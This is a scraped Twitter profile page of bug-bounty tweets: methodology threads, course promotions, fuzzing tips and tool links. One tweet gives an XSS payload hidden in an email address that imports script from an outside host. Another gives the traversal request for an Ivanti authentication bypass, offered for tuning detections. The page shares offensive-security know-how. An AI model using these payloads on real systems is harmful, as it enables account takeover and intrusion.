Mukesh Kumar @mukeshrishu

a newbie in bug hunting..:D India Joined May 2011

Tweets

879
Followers

61
Following

979
Likes

1K

Patrik Fehrenbach @ITSecurityguard

8 months ago

Made a simple dashboard to help track/search CVEs and security vulnerabilities in near real-time. No fancy stuff - just a clean interface to see what's burning in the security world right now. (it's Ivanti🙈) huntdb.com/cve/CVE-2025-0…) huntdb.com Feedback welcome!

14 112 437 35K 352

Download Image

Justin Gardner @Rhynorater

2 years ago

All my current bug bounty knowledge is gone. Here's how I get it back and make $100k in the first year: First, I've got to learn the basics. For this, I will make sure I understand at a high level how the components I'm working with function. I'll need to understand...

85 1K 4K 504K 5K

Download Image

JS0N Haddix @Jhaddix

a year ago

⚠️ Giveaway ⚠️ Want to learn modern reconnaissance and hacking skills? Join The Bug Hunter's Methodology Cohort 5! October 2nd, 3rd, 4th - jhaddix.gumroad.com/l/kihwd Like and retweet this post for a chance to win a free seat! Five winners will be announced on Sept 1st!

114 692 1K 100K 159

Hussein Daher @HusseiN98D

a year ago

⚠️"Attacking Organizations with Big Scope - from 0 to Hero" was my talk at #HitBxPhdays in Bangkok 🇹🇭. Happy to share the slides and recording with the community. 🔴 Slides: drive.google.com/file/d/1bALcKL… 🔴 Recording: youtu.be/vFk0XtHfuSg?si… Enjoy! #bugbounty #infosec…

24 226 688 94K 611

Tib3rius @0xTib3rius

a year ago

Released as part of #NahamCon, an SQL injection cheatsheet like no other: tib3rius.com/sqli I'll be updating it soon with more examples, but it covers so much useful info! Thanks @NahamSec for inviting me to do an SQLi workshop!

17 165 534 38K 375

zseano @zseano

a year ago

XSS in an email address is underrated. (email is rarely sanitized by companies). Use catch-all and then you can also verify your account (if required). "><img/src/onerror=import('//domain/')>"@YourDomain .com cc @BRuteLogic - brutelogic.com.br/blog/xss-limit…

8 239 818 49K 760

Mantas Sabeckis @ott3rly

a year ago

Check out my new blog post: Port Scanning for Bug Bounties buff.ly/44bQPC9 #BugBounty #CyberSec #InfoSec #Blog #TogetherWeHitHarder

2 27 95 7K 53

Godfather Orwa 🇯🇴 @GodfatherOrwa

a year ago

Let’s made something new Let’s keep this tweet for question’s You can ask me here in a comment and will answers in a comment , and let’s everyone learn and found some useful questions/answers keep this tweet as reference by re-tweet #bugbounty #bugbountytips #questions ✌️

121 151 459 57K 389

Bogdan Tcaciuc @bogdantcaciuc7

2 years ago

this is my favourite error message by far iykyk

14 47 340 54K 222

Download Image

Aditya Shende @ADITYASHENDE17

2 years ago

🚨 Do you want extended version of this article Edition 2024 How to JS for Pentest & Bug Bounties : Edition 2023 kongsec.medium.com/how-to-js-for-… #bugbounty #bughunting #hackerone #bugcrowd

6 29 97 6K 88

Corben Leo @hacker_

2 years ago

You're probably directory brute-forcing wrong. You should be methodical when targeting frameworks such as Express, Rails, Flask, Django, etc. 2/ By default, ffuf uses the GET HTTP method. You should be fuzzing with different HTTP methods. Try using a wordlist multiple times…

3 88 410 34K 453

Download Image

Corben Leo @hacker_

2 years ago

How anyone could've accessed vulnerability reports sent to a $40B+ company:

10 65 377 64K 362

Corben Leo @hacker_

2 years ago

You can find easy critical vulnerabilities. It just takes finding unique attack surfaces. Here's an example of how you can, using a story of how I hacked a car company:

14 208 918 95K 1K

Hussein Daher @HusseiN98D

2 years ago

A simple thread on why Dorking is important, especially when hacking - with some real examples.

6 22 98 15K 101

Download Image

James Kettle @albinowax

2 years ago

The easiest way to find a max-impact desync vulnerability in 2024: 1. Create a novel desync technique 2. Add it to a tool like HTTP Request Smuggler 3. Scan a bunch of systems and see what sticks. The only tricky step is #1 and there's a new tool to help with this 1/2

2 84 373 36K 256

Assetnote @assetnote

2 years ago

If you're looking to fine-tune your detections for the authentication bypass for Ivanti Pulse Connect Secure (CVE-2023-46805), the best way is to send a POST request to /api/v1/totp/user-backup-code/../../system/platform?operation=testConnectivity If the response has…

1 24 125 16K 56

Intigriti @intigriti

2 years ago

Testing for DNS Rebinding attacks evading strict SSRF filters? 😎 rbndr is a simple DNS server that you can set up to help you test for rebinding attacks by sending 2 different subsequent responses to incoming DNS requests! 😎 Check it out on Github! 👇 github.com/taviso/rbndr

2 40 120 10K 60

N$ @nav1n0x

2 years ago

This awesome 'FFuf Advanced Tricks' article by @noraj_rawsec needs a shoutout. I created my own FFuf script based on his tricks, and here is the result. #BugBounty acceis.fr/ffuf-advanced-…